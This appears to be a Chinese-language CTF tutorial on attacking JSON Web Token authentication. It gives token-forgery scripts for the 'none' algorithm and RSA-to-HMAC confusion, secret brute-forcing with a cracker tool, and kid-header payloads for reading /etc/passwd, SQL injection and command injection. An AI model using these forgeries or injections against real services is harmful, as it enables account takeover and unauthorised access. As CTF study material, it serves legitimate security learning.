Json Web Token(jwt)攻擊方法


0x01:JWT基礎

1. 簡介

JWT的全稱是Json Web Token,遵循JSON格式,跨域認證解決方案,聲明被存儲在客戶端,而不是在服務器內存中,服務器不保留任何用戶信息,只保留密鑰信息,通過使用特定加密算法驗證token,通過token驗證用戶身份,基於token的身份驗證可以替代傳統的cookie+session身份驗證方法。

2. 組成

header+payload+signature

header

heade部分最常見的兩個字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type類型為JWT。

{
	"typ":"JWT",
	"alg":"HS256"
}

3. payload

payload則為用戶數據,如一次登錄的過程可能會傳遞一下數據

{
    "user_role" : "finn",    	//當前登錄用戶
    "iss": "admin",          	//該JWT的簽發者,有些是URL
    "iat": 1573440582,        //簽發時間
    "exp": 1573940267,        //過期時間
    "nbf": 1573440582,        //該時間之前不接收處理該Token
    "domain": "example.com",   //面向的用戶
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一標識
}

4. signature

這一部分的功能是保護token完整性,生成方式是將header和payload兩個部分鏈接,然后通過Header部分指定的算法,計算簽名。計算公式如下

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key

header和payload部分的編碼方式為base64urlencode,base64url編碼是不會再末尾填充"="號,並且將"+"替換成"-"、"/"替換成"_"

0x02:JWT安全問題

1. 空加密算法

JWT支持空加密算法,可以在header中指定alg為None,這樣的話,只要把signature設置為空,即不添加singature字段,提交到服務器,任何token都可以通過服務器的驗證,如下:

{
    "alg" : "None",
    "typ" : "jwt"
}
{
    "user" : "Admin"
}

生成的jwt為

ewogICAgImFsZyIgOiAiTm9uZSIsCiAgICAidHlwIiA6ICJqd3QiCn0.ewogICAgInVzZXIiOiJBZG1pbiIKfQ

(header+"."+payload+".",去掉了’.’+signature字段)

空加密算法本身是為了調試方便,在生產環境中開啟空加密模式,缺少簽名保護,攻擊者只要把alg字段設置成none,就可以在payload中構造身份,偽造用戶身份。

1.1 CTFshow Web入門 Web345題

拿到jwt的加密字符,解碼可以看到每一段后面都會有隨機的字符,需要在每一段的后面加=號,數據才能完全正確顯示出來。因為header和payload部分的編碼方式為base64urlencode,base64url編碼是不會再末尾填充"="號,並且將"+"替換成"-"、"/"替換成"_"

image-20211231111058962

可以注意到他只有兩段,並且alg的值為None。說明加密算法為空。我們在數據完全正確顯示的基礎上,將sub的值改成admin。然后進行base64編碼

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0uW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDA5MjA2NjUsImV4cCI6MTY0MDkyNzg2NSwibmJmIjoxNjQwOTIwNjY1LCJzdWIiOiJhZG1pbiIsImp0aSI6ImIyZjIxNDlhYmM0M2M1MDJhNTBlYjgwNmMxMmY3YjY1In1d

image-20211231111945547

1.2 CTFhub

修改字段值,然后jwt編碼,編碼腳本

import base64

def jwtBase64Encode(x):
    return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')

header = input("[*] 輸入header部分的明文,放一行:")
payload = input("[*] 輸入payload部分的明文,放一行:")
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

得到flag,第二段后面的.不能少

image-20211231114500320

1.3 CTFshow Web入門 Web346題

修改字段值,然后編碼,腳本如下

import base64

def jwtBase64Encode(x):
    return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')


header = input("[*] 輸入header部分的明文,放一行:")
payload = input("[*] 輸入payload部分的明文,放一行:")
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

2. RSA改成HMAC

JWT中最常用的兩種算法為HMAC和RSA

HMAC是一種對稱加密算法,使用相同的密鑰進行加解密。

RSA是一種非對稱加密算法,使用私鑰加密,公鑰解密。

在HMAC和RSA中,都使用私鑰對signature字段進行簽名,只有拿到了加密時使用的私鑰,才有可能偽造token。

密鑰一般情況下是無法獲取到的,但是如果可以獲取到公鑰,我們可以將加密算法RSA改成HMAC,即將alg字段由RS256改成HS256,同時使用獲取到的公鑰作為算法的密鑰,對token進行簽名提交給服務器端。服務器會將RSA的公鑰作為當前算法(HMAC)的密鑰,HMAC公鑰和密鑰相同,使用HS256算法對接收到的簽名進行驗證。

2.1 CTFhub 修改簽名算法

利用腳本:

import jwt
import base64

public ="""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtjqDrHGpQVXtYuaIdiqp
8ot4chpzxrthR/OyB2U6t6iFrQBgBaGa65wm7m1Yp9ofygVohowSjdU1HYU5zpLE
LpTwOPeZsMQ9rOVgd/ND6vw+tv/EK0k7jovpu6OWf5F8f1/R8m4KesLJxaLoXfzM
JBPn5gNQTaU0s59fQxMVdl7cyOx9WXnm+bK/dyt6DFtInQznfDhJlQI8Ofym3EuS
DXrD7qggbmHP2CLtErW+lFl63kx4VwxbDuxosPI3g5CFEELNhfhtM9UUcG2Pq/7G
29bUrBelQPPEUEV5w7kcgU7H50F26TJ5vgJZ/K7h5xoHSG5pMvAAQag3UMqqblh2
pQIDAQAB
-----END PUBLIC KEY-----
"""
payload={ "username": "admin","role": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

這里我用的輕量級服務器跑的,出現的報錯問題可以參考https://codeantenna.com/a/r9mHkq9dXb

2.2 CTFshow Web入門 web349

訪問/private.key和/public.key拿到公鑰和私鑰

然后直接生成jwt

# 已知私鑰然后自己重新生成 jwt 字符串

import jwt
public = open('private.key', 'r').read()
#print(public)
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

改成http post,直接發包

image-20211231163857163

2.3 CTFshow Web入門 web350

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

node.js寫的腳本,獲取到payload。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MTA3ODI3MDV9.6K4MH3aChKyeyIFtDCWRBO33P8QgrB7wPeOUjF-URGg

改成POST請求方法。

image-20211231165625253

3. 密鑰爆破

密鑰爆破的基礎

1、知道jwt使用的加密算法

2、一段有效的、已簽名的token

3、簽名用的密鑰不復雜(弱密鑰)

爆破方法

借助c-jwt-cracker項目:https://github.com/brendan-rius/c-jwt-cracker

使用方法:

docker build . -t jwtcrack
docker run -it --rm  jwtcrack 要爆破的otken

image-20211129011725217

然后使用jwt.io網站進行編碼

3.1 CTFshow Web入門 web347-348

爆破即可

image-20211231153248593

然后修改數據重放數據即可。

image-20211231154031472

image-20211231154735489

4. 修改KID參數

Kid是header里面的一個參數,該參數用戶可控,一般用於指定加密算法的密鑰

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/home/jwt/.ssh/pem"
}

4.1 任意文件讀取

kid參數用於讀取密鑰文件,如果沒有對參數過濾,可以讀取其他文件

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

4.2 SQL注入

kid也可以從數據庫中提取數據,通過構造SQL語句來獲取數據或者是繞過signature的驗證。

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}

4.3 命令執行

kid參數過濾不嚴也可能會出現命令注入問題,但是利用條件比較苛刻。如果服務器后端使用的是Ruby,在讀取密鑰文件時使用了open函數,通過構造參數就可能造成命令注入。

"/path/to/key_file|whoami"

對於其他的語言,例如php,如果代碼中使用的是exec或者是system來讀取密鑰文件,那么同樣也可以造成命令注入,當然這個可能性就比較小了。

4.4 信息泄露

JWT保證的是數據傳輸過程中的完整性而不是機密性。

如果在payload中攜帶了敏感信息(如存放密鑰對的文件路徑),單獨對payload部分進行base64url解碼,就可以讀取到payload中攜帶的信息。

5. 修改JKU/X5U

JKU用於指定一組用於驗證令牌的密鑰的URL,類似kid,也可以由用戶指定輸入數據,用戶可以指定一組自定義的密鑰文件,並指定Web應用使用改組密鑰來驗證token

X5U則以URL的形式允許攻擊者指定驗證令牌的公鑰證書和證書鏈


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM